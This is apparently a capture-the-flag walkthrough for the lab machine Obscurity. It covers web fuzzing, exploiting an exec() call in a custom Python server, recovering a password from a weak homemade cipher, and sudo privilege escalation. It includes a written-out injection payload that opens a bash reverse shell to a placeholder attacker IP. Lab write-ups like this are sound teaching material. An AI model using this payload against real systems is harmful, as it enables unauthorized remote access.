Obscurity is a medium difficulty machine running Linux. It tests your knowledge in OSINT, Python script exploitation and basic privilege escalation.
Be sure to checkout the Basic Setup section before you get started.
Like always, enumeration is our first port of call. Let’s take a look at the machine and see what we are dealing with.
Here we see that port 80 is closed. However, port 8080 is open and is running a webserver we haven’t heard of before BadHTTPServer. We also have ssh on port 22. Port 9000 is open and can potentially be php-fpm (PHP FastCGI Process Manager) which runs on that port by default.
Taking a look at the domain we come across the following page:
We see that this company is developing their own software including a custom written web server (which at a guess is BadHTTPServer), unbreakable encryption algorithm and a more secure replacement to SSH! Interesting…
Further down the page under the Development section we see a notice:
So now we have a pretty good idea as to what we are looking for!
Trying standard directory bruteforce tools like GoBuster and Dirb fall flat. When that happens we can move over to either Burp Suite or wfuzz.
Using Burp Suite, from the Proxy tab we will intercept the main page and then right-click Send to Intruder:
We then go to the Intruder tab, ensure the attack type is Sniper. We will replace the GET request with /dir/SuperSecureServer.py. Highlighting dir we can then create our payload marker by clicking the Add button on the right:
Going to the Payloads tab we will add our directory wordlist using the Load button:
Then we simply click Start Attack where we should find the file we are looking for:
Now let’s download the file and see what we have got:
Taking a look at the file we see that the exec() function is being used which we should be able to exploit.
To help us debug the server we can run it locally.
In the root directory where we downloaded the server we will create the DocRoot directory that we see in the code and then create the index and error files:
Add the following to the bottom of the script:
And then execute the script accessing it via http://127.0.0.1:8081:
We can debug a lot easier by taking a few lines from the serveDoc function to see how we can exploit exec(info.format(path)). Because the info variable is a string and the path variable will be added to that string with format() we will want to concatenate our operating system command so it is executed, like so: ' + __import__("os").system("/bin/bash -c 'bash -i >& /dev/tcp/<attacker-ip>/1234 0>&1'") + '.
We also see that urllib.parse.unquote() is being used to replace %xx escapes by their single-character equivalent so we can use URL encoding.
Let’s test the end result in the Python interactive shell using code from the server script to see if we get the output we desire:
That’s looking quite nice! Now we can test this locally since we have the server running. We see that our command is executed.
Let’s grab a shell on obscurity.
We setup our listener:
And then execute our payload:
Back at our listener we should see a connection:
From here we can upgrade our shell and go get the user flag!
First things first let’s see what users are on this machine:
Looks like we will be wanting to take control of robert’s account but let’s also keep an eye out for root privilege escalation too just in case.
Noticing the permission of robert’s home folder we can navigate to it and list the contents:
Here we see that we have the mentioned projects on the website BetterSSH and what I am assuming will be the encryption algorithm in SuperSecureCrypt.py.
The BetterSSH directory is owned by root so that’s a no go. We also see a potential way to root but more on that later!
Let’s take a look at SuperSecureCrypt.py:
So here we see that this script takes four flags. The script takes in a file with the -i flag, outputs to a file with the -o flag, takes in a key with the -k flag and then theres the -d flag which is decrypt mode.
In the directory we have some other files.
We have check.txt which contains:
Another file out.txt which contains:
Which is obviously the encrypted output.
And passwordreminder.txt which contains:
Password reminder… hmm. This get’s us thinking. Our first thought is that we may need to reverse the encryption, but is that a rabbithole? What if the pieces are right in front of our face?
Let’s try using the files we have as keys.
To make things easier let’s alter the script slightly. To do this we will copy the contents of all the files from obscurity to our local machine.
Then in SuperSecureCrypt.py from lines 65 to 75 let’s change the code to:
This will allow us to input our key as a file.
We know that out.txt is the encrypted file so we will use that for the -i flag. We will use the -o flag to output to a file called decrypted.txt. Now we have check.txt and passwordreminder.txt that we could use as the key. Our first thought is to use passwordreminder.txt but the content looks a lot like the encrypted out.txt file, another rabbithole?
Let’s try check.txt as the key and see what we get:
Let’s take a look at the output:
Interesting… Trying to use this as the password for user robert via ssh fails. But the fact this output is readable can’t be a coincedence.
Let’s assume for a moment that this is the key for the other encrypted file passwordreminder.txt.
May as well take a stab in the dark and give that a crack:
And checking the ouput:
This looks promising!
Using this as the password for ssh gives us access:
Now that we have our user.txt flag let’s take a look at what we noticed earlier.
Going back to the BetterSSH directory we see more lapsed permissions:
What’s the bet that robert has sudo privileges to a script in that directory? Let’s see:
Yep! That’s our way in.
Let’s exploit the complete lack of permissions:
And we have our root.txt flag!
This machine was a lot simpler than I thought it was going to be. The machine was very CTF like and once I got the feel of that my mindset completely changed. There was some serious rabbitholes to be had within this machine but luckily I seemed to have dodged a bullet, this time at least.